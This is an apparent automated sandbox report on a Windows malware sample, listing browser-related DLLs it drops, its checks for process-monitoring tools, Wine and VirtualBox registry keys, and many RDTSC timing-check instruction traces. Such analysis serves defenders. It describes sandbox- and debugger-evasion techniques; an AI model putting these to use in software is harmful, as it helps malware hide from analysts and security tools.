Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: file.exe

Static PE information: section name: mwmmcnmo entropy: 7.9545182674663995

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E213 second address: E3E217 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3DA4E second address: E3DA57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3DA57 second address: E3DA5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA14C6 second address: FA14D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8264EBD7A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA14D0 second address: FA14F0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8264D3C8F6h 0x00000008 jo 00007F8264D3C8F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8264D3C8FEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA14F0 second address: FA14F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2309 second address: FB230D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB230D second address: FB232B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8264EBD7B0h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB232B second address: FB2337 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8264D3C8F6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2337 second address: FB234D instructions: 0x00000000 rdtsc 0x00000002 js 00007F8264EBD7B8h 0x00000008 jmp 00007F8264EBD7ACh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB234D second address: FB2354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB25E0 second address: FB25F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edi 0x00000007 pushad 0x00000008 js 00007F8264EBD7A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB25F0 second address: FB25F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2759 second address: FB275D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB275D second address: FB277C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F8264D3C909h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB277C second address: FB27AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264EBD7AEh 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F8264EBD7A6h 0x0000000f jmp 00007F8264EBD7B9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB28F6 second address: FB2910 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C8FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F8264D3C8F6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2910 second address: FB2938 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007F8264EBD7B5h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2AAC second address: FB2AC4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8264D3C8F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jng 00007F8264D3C8F6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4513 second address: FB4519 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4519 second address: FB454E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F8264D3C901h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8264D3C907h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB454E second address: FB4567 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F8264EBD7A6h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 popad 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 pushad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4567 second address: FB456D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB45D4 second address: FB45D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB45D8 second address: FB460F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C903h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8264D3C906h 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB460F second address: FB4614 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4614 second address: FB4656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov si, cx 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F8264D3C8F8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 call 00007F8264D3C8F9h 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F8264D3C8FBh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4656 second address: FB466C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8264EBD7B2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB466C second address: FB4697 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8264D3C8F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pop ebx 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 pushad 0x0000001a jmp 00007F8264D3C8FDh 0x0000001f push eax 0x00000020 push edx 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4697 second address: FB46AD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8264EBD7ABh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB46AD second address: FB46B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4845 second address: FB4881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 add dword ptr [esp], 6866539Dh 0x0000000c push 00000003h 0x0000000e mov cl, AEh 0x00000010 push 00000000h 0x00000012 mov edx, dword ptr [ebp+122D37C9h] 0x00000018 push 00000003h 0x0000001a jnc 00007F8264EBD7ACh 0x00000020 mov dword ptr [ebp+122D1992h], edi 0x00000026 pushad 0x00000027 mov esi, ecx 0x00000029 mov cx, dx 0x0000002c popad 0x0000002d call 00007F8264EBD7A9h 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4881 second address: FB4885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4885 second address: FB488B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB488B second address: FB48AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F8264D3C900h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007F8264D3C8F6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB48AE second address: FB48B4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB48B4 second address: FB48D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F8264D3C8F6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F8264D3C8FBh 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB48D8 second address: FB48DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB48DC second address: FB48E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB49C7 second address: FB49CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB49CB second address: FB49ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dl, 2Dh 0x0000000a push 00000000h 0x0000000c movzx edi, ax 0x0000000f call 00007F8264D3C8F9h 0x00000014 push eax 0x00000015 push edx 0x00000016 jbe 00007F8264D3C8F8h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB49ED second address: FB49FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB49FC second address: FB4A18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 js 00007F8264D3C8F6h 0x0000000c pop eax 0x0000000d popad 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jnl 00007F8264D3C8F8h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4A18 second address: FB4A62 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F8264EBD7B4h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d js 00007F8264EBD7B6h 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 pushad 0x00000018 push ebx 0x00000019 push eax 0x0000001a pop eax 0x0000001b pop ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F8264EBD7ADh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4A62 second address: FB4AE5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 push 00000003h 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F8264D3C8F8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 or cx, B71Dh 0x00000029 movzx edi, di 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D2497h], ebx 0x00000034 push 00000003h 0x00000036 mov cl, 3Bh 0x00000038 push BB6E61BEh 0x0000003d jmp 00007F8264D3C901h 0x00000042 xor dword ptr [esp], 7B6E61BEh 0x00000049 sub si, 921Ah 0x0000004e lea ebx, dword ptr [ebp+1244A41Ch] 0x00000054 js 00007F8264D3C8FCh 0x0000005a xchg eax, ebx 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e js 00007F8264D3C8F6h 0x00000064 jno 00007F8264D3C8F6h 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4AE5 second address: FB4B02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264EBD7B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4B02 second address: FB4B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4FA9 second address: FD4FD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8264EBD7B3h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007F8264EBD7ABh 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 push edi 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4FD8 second address: FD4FE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jo 00007F8264D3C914h 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4FE8 second address: FD4FF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4FF1 second address: FD4FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD56E3 second address: FD56F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5A04 second address: FD5A19 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f je 00007F8264D3C8F6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5A19 second address: FD5A38 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8264EBD7B9h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5A38 second address: FD5A43 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 ja 00007F8264D3C8F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5A43 second address: FD5A60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8264EBD7B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5D81 second address: FD5D96 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8264D3C8F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jne 00007F8264D3C8F6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5D96 second address: FD5D9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5D9B second address: FD5DAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jne 00007F8264D3C8F6h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5F1E second address: FD5F28 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8264EBD7A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C47F second address: F9C499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8264D3C8FFh 0x00000009 js 00007F8264D3C8F6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C499 second address: F9C49F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C49F second address: F9C4A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6329 second address: FD632F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD632F second address: FD636F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F8264D3C909h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8264D3C909h 0x00000012 jnl 00007F8264D3C8F6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD636F second address: FD6373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD68CC second address: FD68EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8264D3C903h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6A68 second address: FD6A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 jmp 00007F8264EBD7B5h 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6BDC second address: FD6BF8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007F8264D3C8F6h 0x0000000b pop edi 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007F8264D3C8FBh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6D6F second address: FD6D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6D77 second address: FD6D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8264D3C903h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD96B2 second address: FD96B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
